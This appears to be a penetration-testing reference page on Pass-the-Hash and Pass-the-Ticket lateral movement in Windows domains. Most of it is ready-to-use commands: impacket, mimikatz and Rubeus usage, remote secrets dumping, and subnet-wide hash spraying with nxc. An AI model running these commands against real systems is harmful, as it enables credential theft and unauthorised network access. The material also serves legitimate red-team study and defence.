# Pass-the-Hash and Pass-the-Ticket

> Covers PTH and PTT attack techniques exploiting NTLM hashes and Kerberos tickets to authenticate laterally across Windows environments without plaintext credentials.

- **URL:** https://hackindex.io/platforms/windows/lateral-movement/pass-the-hash-and-pass-the-ticket
- **Path:** Windows > Lateral Movement
- **Up:** [Lateral Movement](https://hackindex.io/platforms/windows/lateral-movement.md)
- **Published:** 2026-04-04
- **Updated:** 2026-08-17

Pass-the-Hash lets you authenticate as a user using their NTLM hash without knowing the plaintext password. Pass-the-Ticket does the same with Kerberos tickets. Both techniques require valid credentials dumped from a compromised host and give you direct access to other systems in the network without cracking anything.

## Pass-the-Hash with impacket

Impacket tools accept hashes directly in the format `LMhash:NThash`. If you only have the NT hash, use `aad3b435b51404eeaad3b435b51404ee` as the LM portion.

**Pass-the-Hash: remote command execution**

```bash
# Interactive shell via SMB
impacket-psexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# WMI execution (less noisy than psexec)
impacket-wmiexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# SMBexec (creates a service, noisier)
impacket-smbexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# atexec: execute via Task Scheduler
impacket-atexec $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH "whoami"
```

**Pass-the-Hash: data access**

```bash
# Mount SMB share with hash
impacket-smbclient $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# Dump secrets from remote host
impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -hashes aad3b435b51404eeaad3b435b51404ee:$NTHASH

# Check if hash is valid across multiple hosts
nxc smb 192.168.1.0/24 -u $USER -H $NTHASH
nxc smb 192.168.1.0/24 -u $USER -H $NTHASH --local-auth
# SMB  192.168.1.10  445  DC01  [+] domain\user:$NTHASH (Pwn3d!)
# SMB  192.168.1.20  445  WEB01 [+] domain\user:$NTHASH (Pwn3d!)
```

The `Pwn3d!` label in nxc output means the account has local admin on that host: you can get a shell. Use nxc to spray a hash across all discovered hosts before choosing where to move. The `--local-auth` flag uses local account authentication instead of domain, which is needed when the hash is from a local account like Administrator.

## Pass-the-Hash with native Windows tools

From a Windows foothold you can inject hashes into a new process or session using mimikatz.

**Pass-the-Hash with mimikatz**

```powershell
# Inject hash and spawn a process
mimikatz.exe "sekurlsa::pth /user:$USER /domain:$DOMAIN /ntlm:$NTHASH /run:cmd.exe" exit

# From the spawned cmd.exe the identity is set: use net use or psexec normally
net use \\$TARGET_IP\C$ /user:$DOMAIN\$USER
dir \\$TARGET_IP\C$
```

Pass-the-Hash does not work in all scenarios. Common reasons for PtH failure:

- NTLM is entirely disabled and only NTLMv2 or Kerberos is accepted
- The local Administrator account (RID 500) is targeted but `LocalAccountTokenFilterPolicy` is not set
- The target has credential guard enabled, which blocks NTLM hash injection

If PtH fails against a local account, check the `LocalAccountTokenFilterPolicy` registry key first.

## Pass-the-Ticket with Kerberos TGTs

Kerberos tickets are cached in memory and can be exported and reused on another machine. A TGT gives you access to any service the account can reach. A TGS gives you access to one specific service.

**Export Kerberos tickets with Rubeus**

```powershell
# List all tickets in current session
C:\Windows\Temp\Rubeus.exe triage

# Export all tickets to .kirbi files
C:\Windows\Temp\Rubeus.exe dump /nowrap

# Export specific ticket by LUID
C:\Windows\Temp\Rubeus.exe dump /luid:0x3e7 /nowrap

# Request a TGT using hash (overpass-the-hash / pass-the-key)
C:\Windows\Temp\Rubeus.exe asktgt /user:$USER /domain:$DOMAIN /rc4:$NTHASH /ptt
```

**Import and use a ticket**

```powershell
# Import a .kirbi ticket into current session
C:\Windows\Temp\Rubeus.exe ptt /ticket:ticket.kirbi

# Verify ticket is loaded
klist

# Use the ticket
dir \\$TARGET_IP\C$
PsExec.exe \\$TARGET_IP cmd.exe
```

**Pass-the-Ticket from Linux with impacket**

```bash
# Export ticket as ccache from a kirbi file
impacket-ticketConverter ticket.kirbi ticket.ccache

# Set the ccache file as active ticket
export KRB5CCNAME=ticket.ccache

# Use ticket for authentication
impacket-psexec $DOMAIN/$USER@$TARGET_IP -k -no-pass
impacket-secretsdump $DOMAIN/$USER@$TARGET_IP -k -no-pass
```

Tickets expire: TGTs are valid for 10 hours by default and TGS tickets for 10 hours with 7-day renewal. If a ticket fails, check the timestamp with `klist`. For persistence beyond ticket lifetime see [Golden and Silver Ticket Persistence](https://hackindex.io/platforms/windows/persistence/windows-golden-and-silver-ticket-persistence). For the hashes needed here see [Windows Token and Credential Harvesting](https://hackindex.io/platforms/windows/post-exploitation/windows-token-and-credential-harvesting).

## References

- [Impacket: GitHub](https://github.com/fortra/impacket) - psexec, wmiexec, smbexec, atexec and secretsdump
- [Rubeus: GhostPack GitHub](https://github.com/GhostPack/Rubeus) - Kerberos ticket manipulation and Pass-the-Ticket
- [NetExec (nxc): GitHub](https://github.com/Pennyw0rth/NetExec) - Network-wide hash spraying and lateral movement